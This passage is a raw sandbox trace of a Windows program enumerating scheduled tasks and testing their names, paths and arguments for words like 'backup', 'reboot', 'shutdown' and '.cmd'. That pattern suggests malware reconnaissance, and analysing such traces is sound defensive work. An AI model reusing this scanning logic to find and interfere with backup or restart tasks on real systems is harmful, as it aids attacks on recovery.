ppDefinition=0x5cfa08*=0x2465ed8) returned 0x0 [0221.440] ITaskDefinition:get_Actions (in: This=0x2465ed8, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x2466490) returned 0x0 [0221.440] IActionCollection:get_Count (in: This=0x2466490, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0221.440] IActionCollection:get_Item (in: This=0x2466490, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463708) returned 0x0 [0221.440] IAction:get_Type (in: This=0x2463708, pType=0x5cf9e4 | out: pType=0x5cf9e4*=5) returned 0x0 [0221.440] IUnknown:Release (This=0x2463708) returned 0x1 [0221.440] IUnknown:Release (This=0x2466490) returned 0x1 [0221.440] IUnknown:Release (This=0x2465ed8) returned 0x0 [0221.441] IUnknown:Release (This=0x2466448) returned 0x0 [0221.441] IUnknown:Release (This=0x24636c8) returned 0x0 [0221.441] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x2466400) returned 0x0 [0221.441] ITaskFolderCollection:get_Count (in: This=0x2466400, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0221.441] IUnknown:Release (This=0x2466400) returned 0x0 [0221.441] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0221.441] ITaskFolderCollection:get_Item (in: This=0x2464e30, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x10, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0221.441] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2463648) returned 0x0 [0221.442] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=1) returned 0x0 [0221.442] IRegisteredTaskCollection:get_Item (in: This=0x2463648, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2466400) returned 0x0 [0221.442] IRegisteredTask:get_Name (in: This=0x2466400, pName=0x5cf9f8 | out: pName=0x5cf9f8*="LPRemove") returned 0x0 [0221.442] IRegisteredTask:get_State (in: This=0x2466400, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0221.444] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x12) returned 0x6e6ad0 [0221.444] wcsstr (_Str="lpremove", _SubStr="reboot") returned 0x0 [0221.444] wcsstr (_Str="lpremove", _SubStr="restart") returned 0x0 [0221.444] wcsstr (_Str="lpremove", _SubStr="shutdown") returned 0x0 [0221.444] wcsstr (_Str="lpremove", _SubStr="logoff") returned 0x0 [0221.444] wcsstr (_Str="lpremove", _SubStr=".bat") returned 0x0 [0221.444] wcsstr (_Str="lpremove", _SubStr="backup") returned 0x0 [0221.444] wcsstr (_Str="lpremove", _SubStr=".cmd") returned 0x0 [0221.444] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e6ad0) returned 1 [0221.444] IRegisteredTask:get_Definition (in: This=0x2466400, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x2465ed8) returned 0x0 [0221.451] ITaskDefinition:get_Actions (in: This=0x2465ed8, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x2466490) returned 0x0 [0221.451] IActionCollection:get_Count (in: This=0x2466490, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0221.451] IActionCollection:get_Item (in: This=0x2466490, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463708) returned 0x0 [0221.451] IAction:get_Type (in: This=0x2463708, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0221.451] IUnknown:QueryInterface (in: This=0x2463708, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2463708) returned 0x0 [0221.451] IExecAction:get_Path (in: This=0x2463708, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%windir%\\system32\\lpremove.exe") returned 0x0 [0221.451] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x3e) returned 0x6c2938 [0221.451] wcsstr (_Str="%windir%\\system32\\lpremove.exe", _SubStr="reboot") returned 0x0 [0221.451] wcsstr (_Str="%windir%\\system32\\lpremove.exe", _SubStr="restart") returned 0x0 [0221.451] wcsstr (_Str="%windir%\\system32\\lpremove.exe", _SubStr="shutdown") returned 0x0 [0221.451] wcsstr (_Str="%windir%\\system32\\lpremove.exe", _SubStr="logoff") returned 0x0 [0221.451] wcsstr (_Str="%windir%\\system32\\lpremove.exe", _SubStr=".bat") returned 0x0 [0221.451] wcsstr (_Str="%windir%\\system32\\lpremove.exe", _SubStr="backup") returned 0x0 [0221.451] wcsstr (_Str="%windir%\\system32\\lpremove.exe", _SubStr=".cmd") returned 0x0 [0221.451] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c2938) returned 1 [0221.451] IExecAction:get_Arguments (in: This=0x2463708, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*=0x0) returned 0x0 [0221.451] IUnknown:Release (This=0x2463708) returned 0x2 [0221.451] IUnknown:Release (This=0x2463708) returned 0x1 [0221.451] IUnknown:Release (This=0x2466490) returned 0x1 [0221.451] IUnknown:Release (This=0x2465ed8) returned 0x0 [0221.452] IUnknown:Release (This=0x2466400) returned 0x0 [0221.452] IUnknown:Release (This=0x2463648) returned 0x0 [0221.452] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x2466400) returned 0x0 [0221.452] ITaskFolderCollection:get_Count (in: This=0x2466400, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0221.452] IUnknown:Release (This=0x2466400) returned 0x0 [0221.452] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0221.452] ITaskFolderCollection:get_Item (in: This=0x2464e30, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x11, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0221.452] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2463648) returned 0x0 [0221.453] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=1) returned 0x0 [0221.453] IRegisteredTaskCollection:get_Item (in: This=0x2463648, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2466490) returned 0x0 [0221.453] IRegisteredTask:get_Name (in: This=0x2466490, pName=0x5cf9f8 | out: pName=0x5cf9f8*="SystemSoundsService") returned 0x0 [0221.453] IRegisteredTask:get_State (in: This=0x2466490, pState=0x5cf9fc | out: pState=0x5cf9fc*=4) returned 0x0 [0221.456] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x28) returned 0x6c88f8 [0221.456] wcsstr (_Str="systemsoundsservice", _SubStr="reboot") returned 0x0 [0221.456] wcsstr (_Str="systemsoundsservice", _SubStr="restart") returned 0x0 [0221.456] wcsstr (_Str="systemsoundsservice", _SubStr="shutdown") returned 0x0 [0221.456] wcsstr (_Str="systemsoundsservice", _SubStr="logoff") returned 0x0 [0221.456] wcsstr (_Str="systemsoundsservice", _SubStr=".bat") returned 0x0 [0221.456] wcsstr (_Str="systemsoundsservice", _SubStr="backup") returned 0x0 [0221.457] wcsstr (_Str="systemsoundsservice", _SubStr=".cmd") returned 0x0 [0221.457] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c88f8) returned 1 [0221.457] IRegisteredTask:get_Definition (in: This=0x2466490, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x2465f50) returned 0x0 [0221.463] ITaskDefinition:get_Actions (in: This=0x2465f50, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x24664d8) returned 0x0 [0221.463] IActionCollection:get_Count (in: This=0x24664d8, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0221.463] IActionCollection:get_Item (in: This=0x24664d8, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463788) returned 0x0 [0221.463] IAction:get_Type (in: This=0x2463788, pType=0x5cf9e4 | out: pType=0x5cf9e4*=5) returned 0x0 [0221.463] IUnknown:Release (This=0x2463788) returned 0x1 [0221.463] IUnknown:Release (This=0x24664d8) returned 0x1 [0221.463] IUnknown:Release (This=0x2465f50) returned 0x0 [0221.463] IUnknown:Release (This=0x2466490) returned 0x0 [0221.463] IUnknown:Release (This=0x2463648) returned 0x0 [0221.463] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x2466448) returned 0x0 [0221.464] ITaskFolderCollection:get_Count (in: This=0x2466448, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0221.464] IUnknown:Release (This=0x2466448) returned 0x0 [0221.464] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0221.464] ITaskFolderCollection:get_Item (in: This=0x2464e30, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x12, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0221.464] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x24636c8) returned 0x0 [0221.465] IRegisteredTaskCollection:get_Count (in: This=0x24636c8, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=1) returned 0x0 [0221.465] IRegisteredTaskCollection:get_Item (in: This=0x24636c8, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2466448) returned 0x0 [0221.465] IRegisteredTask:get_Name (in: This=0x2466448, pName=0x5cf9f8 | out: pName=0x5cf9f8*="GatherNetworkInfo") returned 0x0 [0221.465] IRegisteredTask:get_State (in: This=0x2466448, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0221.467] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x24) returned 0x6c88f8 [0221.467] wcsstr (_Str="gathernetworkinfo", _SubStr="reboot") returned 0x0 [0221.467] wcsstr (_Str="gathernetworkinfo", _SubStr="restart") returned 0x0 [0221.467] wcsstr (_Str="gathernetworkinfo", _SubStr="shutdown") returned 0x0 [0221.467] wcsstr (_Str="gathernetworkinfo", _SubStr="logoff") returned 0x0 [0221.467] wcsstr (_Str="gathernetworkinfo", _SubStr=".bat") returned 0x0 [0221.467] wcsstr (_Str="gathernetworkinfo", _SubStr="backup") returned 0x0 [0221.467] wcsstr (_Str="gathernetworkinfo", _SubStr=".cmd") returned 0x0 [0221.467] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c88f8) returned 1 [0221.467] IRegisteredTask:get_Definition (in: This=0x2466448, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x2465ed8) returned 0x0 [0221.474] ITaskDefinition:get_Actions (in: This=0x2465ed8, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x2466490) returned 0x0 [0221.475] IActionCollection:get_Count (in: This=0x2466490, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0221.475] IActionCollection:get_Item (in: This=0x2466490, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463748) returned 0x0 [0221.475] IAction:get_Type (in: This=0x2463748, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0221.475] IUnknown:QueryInterface (in: This=0x2463748, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2463748) returned 0x0 [0221.475] IExecAction:get_Path (in: This=0x2463748, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%windir%\\system32\\gatherNetworkInfo.vbs") returned 0x0 [0221.475] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x50) returned 0x6d7248 [0221.475] wcsstr (_Str="%windir%\\system32\\gathernetworkinfo.vbs", _SubStr="reboot") returned 0x0 [0221.475] wcsstr (_Str="%windir%\\system32\\gathernetworkinfo.vbs", _SubStr="restart") returned 0x0 [0221.475] wcsstr (_Str="%windir%\\system32\\gathernetworkinfo.vbs", _SubStr="shutdown") returned 0x0 [0221.475] wcsstr (_Str="%windir%\\system32\\gathernetworkinfo.vbs", _SubStr="logoff") returned 0x0 [0221.475] wcsstr (_Str="%windir%\\system32\\gathernetworkinfo.vbs", _SubStr=".bat") returned 0x0 [0221.475] wcsstr (_Str="%windir%\\system32\\gathernetworkinfo.vbs", _SubStr="backup") returned 0x0 [0221.475] wcsstr (_Str="%windir%\\system32\\gathernetworkinfo.vbs", _SubStr=".cmd") returned 0x0 [0221.475] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6d7248) returned 1 [0221.475] IExecAction:get_Arguments (in: This=0x2463748, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*=0x0) returned 0x0 [0221.475] IUnknown:Release (This=0x2463748) returned 0x2 [0221.475] IUnknown:Release (This=0x2463748) returned 0x1 [0221.475] IUnknown:Release (This=0x2466490) returned 0x1 [0221.475] IUnknown:Release (This=0x2465ed8) returned 0x0 [0221.475] IUnknown:Release (This=0x2466448) returned 0x0 [0221.475] IUnknown:Release (This=0x24636c8) returned 0x0 [0221.475] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x2466400) returned 0x0 [0221.476] ITaskFolderCollection:get_Count (in: This=0x2466400, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0221.476] IUnknown:Release (This=0x2466400) returned 0x0 [0221.476] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0221.476] ITaskFolderCollection:get_Item (in: This=0x2464e30, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x13, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0221.476] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2463648) returned 0x0 [0221.478] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0221.478] IUnknown:Release (This=0x2463648) returned 0x0 [0221.478] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x2466400) returned 0x0 [0221.478] ITaskFolderCollection:get_Count (in: This=0x2466400, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0221.478] IUnknown:Release (This=0x2466400) returned 0x0 [0221.479] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0221.479] ITaskFolderCollection:get_Item (in: This=0x2464e30, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x14, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0221.479] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2463648) returned 0x0 [0221.479] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=2) returned 0x0 [0221.479] IRegisteredTaskCollection:get_Item (in: This=0x2463648, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2466400) returned 0x0 [0221.479] IRegisteredTask:get_Name (in: This=0x2466400, pName=0x5cf9f8 | out: pName=0x5cf9f8*="Background Synchronization") returned 0x0 [0221.480] IRegisteredTask:get_State (in: This=0x2466400, pState=0x5cf9fc | out: pState=0x5cf9fc*=1) returned 0x0 [0221.481] IUnknown:Release (This=0x2466400) returned 0x0 [0221.481] IRegisteredTaskCollection:get_Item (in: This=0x2463648, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2466400) returned 0x0 [0221.481] IRegisteredTask:get_Name (in: This=0x2466400, pName=0x5cf9f8 | out: pName=0x5cf9f8*="Logon Synchronization") returned 0x0 [0221.481] IRegisteredTask:get_State (in: This=0x2466400, pState=0x5cf9fc | out: pState=0x5cf9fc*=1) returned 0x0 [0221.483] IUnknown:Release (This=0x2466400) returned 0x0 [0221.484] IUnknown:Release (This=0x2463648) returned 0x0 [0221.484] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x2466400) returned 0x0 [0221.484] ITaskFolderCollection:get_Count (in: This=0x2466400, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0221.484] IUnknown:Release (This=0x2466400) returned 0x0 [0221.484] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0221.484] ITaskFolderCollection:get_Item (in: This=0x2464e30, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x15, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0221.484] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2463648) returned 0x0 [0221.485] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0221.485] IUnknown:Release (This=0x2463648) returned 0x0 [0221.485] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x2466448) returned 0x0 [0221.485] ITaskFolderCollection:get_Count (in: This=0x2466448, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0221.485] IUnknown:Release (This=0x2466448) returned 0x0 [0221.485] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0221.485] ITaskFolderCollection:get_Item (in: This=0x2464e30, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x16, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0221.485] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2463648) returned 0x0 [0221.486] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0221.486] IUnknown:Release (This=0x2463648) returned 0x0 [0221.486] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x2466400) returned 0x0 [0221.486] ITaskFolderCollection:get_Count (in: This=0x2466400, pCount=0x5cfa40 | out: pCount=0x5cfa40*=1) returned 0x0 [0221.486] ITaskFolderCollection:get_Item (in: This=0x2466400, index=0x5cfa1c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppFolder=0x5cfa44 | out: ppFolder=0x5cfa44*=0x2460180) returned 0x0 [0221.486] ITaskFolder:GetTasks (in: This=0x2460180, flags=0, ppTasks=0x5cf9e4 | out: ppTasks=0x5cf9e4*=0x2463648) returned 0x0 [0221.487] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9c0 | out: pCount=0x5cf9c0*=0) returned 0x0 [0221.487] IUnknown:Release (This=0x2463648) returned 0x0 [0221.487] ITaskFolder:GetFolders (in: This=0x2460180, flags=0, ppFolders=0x5cfa20 | out: ppFolders=0x5cfa20*=0x2466490) returned 0x0 [0221.487] ITaskFolderCollection:get_Count (in: This=0x2466490, pCount=0x5cfa14 | out: pCount=0x5cfa14*=0) returned 0x0 [0221.487] IUnknown:Release (This=0x2466490) returned 0x0 [0221.487] TaskScheduler:IUnknown:Release (This=0x2460180) returned 0x0 [0221.487] IUnknown:Release (This=0x2466400) returned 0x0 [0221.487] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0221.487] ITaskFolderCollection:get_Item (in: This=0x2464e30, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x17, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0221.487] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2463648) returned 0x0 [0221.488] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=1) returned 0x0 [0221.488] IRegisteredTaskCollection:get_Item (in: This=0x2463648, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2466400) returned 0x0 [0221.488] IRegisteredTask:get_Name (in: This=0x2466400, pName=0x5cf9f8 | out: pName=0x5cf9f8*="AnalyzeSystem") returned 0x0 [0221.488] IRegisteredTask:get_State (in: This=0x2466400, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0221.497] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1c) returned 0x6f3e58 [0221.497] wcsstr (_Str="analyzesystem", _SubStr="reboot") returned 0x0 [0221.497] wcsstr (_Str="analyzesystem", _SubStr="restart") returned 0x0 [0221.497] wcsstr (_Str="analyzesystem", _SubStr="shutdown") returned 0x0 [0221.497] wcsstr (_Str="analyzesystem", _SubStr="logoff") returned 0x0 [0221.497] wcsstr (_Str="analyzesystem", _SubStr=".bat") returned 0x0 [0221.497] wcsstr (_Str="analyzesystem", _SubStr="backup") returned 0x0 [0221.497] wcsstr (_Str="analyzesystem", _SubStr=".cmd") returned 0x0 [0221.497] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f3e58) returned 1 [0221.497] IRegisteredTask:get_Definition (in: This=0x2466400, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x2465ed8) returned 0x0 [0221.504] ITaskDefinition:get_Actions (in: This=0x2465ed8, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x2466448) returned 0x0 [0221.504] IActionCollection:get_Count (in: This=0x2466448, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0221.504] IActionCollection:get_Item (in: This=0x2466448, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463748) returned 0x0 [0221.504] IAction:get_Type (in: This=0x2463748, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0221.504] IUnknown:QueryInterface (in: This=0x2463748, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2463748) returned 0x0 [0221.504] IExecAction:get_Path (in: This=0x2463748, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\System32\\powercfg.exe") returned 0x0 [0221.504] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x46) returned 0x6e7270 [0221.504] wcsstr (_Str="%systemroot%\\system32\\powercfg.exe", _SubStr="reboot") returned 0x0 [0221.505] wcsstr (_Str="%systemroot%\\system32\\powercfg.exe", _SubStr="restart") returned 0x0 [0221.505] wcsstr (_Str="%systemroot%\\system32\\powercfg.exe", _SubStr="shutdown") returned 0x0 [0221.505] wcsstr (_Str="%systemroot%\\system32\\powercfg.exe", _SubStr="logoff") returned 0x0 [0221.505] wcsstr (_Str="%systemroot%\\system32\\powercfg.exe", _SubStr=".bat") returned 0x0 [0221.505] wcsstr (_Str="%systemroot%\\system32\\powercfg.exe", _SubStr="backup") returned 0x0 [0221.505] wcsstr (_Str="%systemroot%\\system32\\powercfg.exe", _SubStr=".cmd") returned 0x0 [0221.505] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e7270) returned 1 [0221.505] IExecAction:get_Arguments (in: This=0x2463748, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="-energy -auto") returned 0x0 [0221.505] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1c) returned 0x6f4178 [0221.505] wcsstr (_Str="-energy -auto", _SubStr="reboot") returned 0x0 [0221.505] wcsstr (_Str="-energy -auto", _SubStr="restart") returned 0x0 [0221.505] wcsstr (_Str="-energy -auto", _SubStr="shutdown") returned 0x0 [0221.505] wcsstr (_Str="-energy -auto", _SubStr="logoff") returned 0x0 [0221.505] wcsstr (_Str="-energy -auto", _SubStr=".bat") returned 0x0 [0221.505] wcsstr (_Str="-energy -auto", _SubStr="backup") returned 0x0 [0221.505] wcsstr (_Str="-energy -auto", _SubStr=".cmd") returned 0x0 [0221.505] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f4178) returned 1 [0221.505] IUnknown:Release (This=0x2463748) returned 0x2 [0221.505] IUnknown:Release (This=0x2463748) returned 0x1 [0221.505] IUnknown:Release (This=0x2466448) returned 0x1 [0221.505] IUnknown:Release (This=0x2465ed8) returned 0x0 [0221.505] IUnknown:Release (This=0x2466400) returned 0x0 [0221.505] IUnknown:Release (This=0x2463648) returned 0x0 [0221.505] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x2466400) returned 0x0 [0221.506] ITaskFolderCollection:get_Count (in: This=0x2466400, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0221.506] IUnknown:Release (This=0x2466400) returned 0x0 [0221.506] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0221.506] ITaskFolderCollection:get_Item (in: This=0x2464e30, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0221.506] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2463648) returned 0x0 [0221.506] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0221.507] IUnknown:Release (This=0x2463648) returned 0x0 [0221.507] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x2466400) returned 0x0 [0221.507] ITaskFolderCollection:get_Count (in: This=0x2466400, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0221.507] IUnknown:Release (This=0x2466400) returned 0x0 [0221.507] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0221.507] ITaskFolderCollection:get_Item (in: This=0x2464e30, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x19, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0221.507] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2463648) returned 0x0 [0221.507] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0221.508] IUnknown:Release (This=0x2463648) returned 0x0 [0221.508] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x2466400) returned 0x0 [0221.508] ITaskFolderCollection:get_Count (in: This=0x2466400, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0221.508] IUnknown:Release (This=0x2466400) returned 0x0 [0221.508] 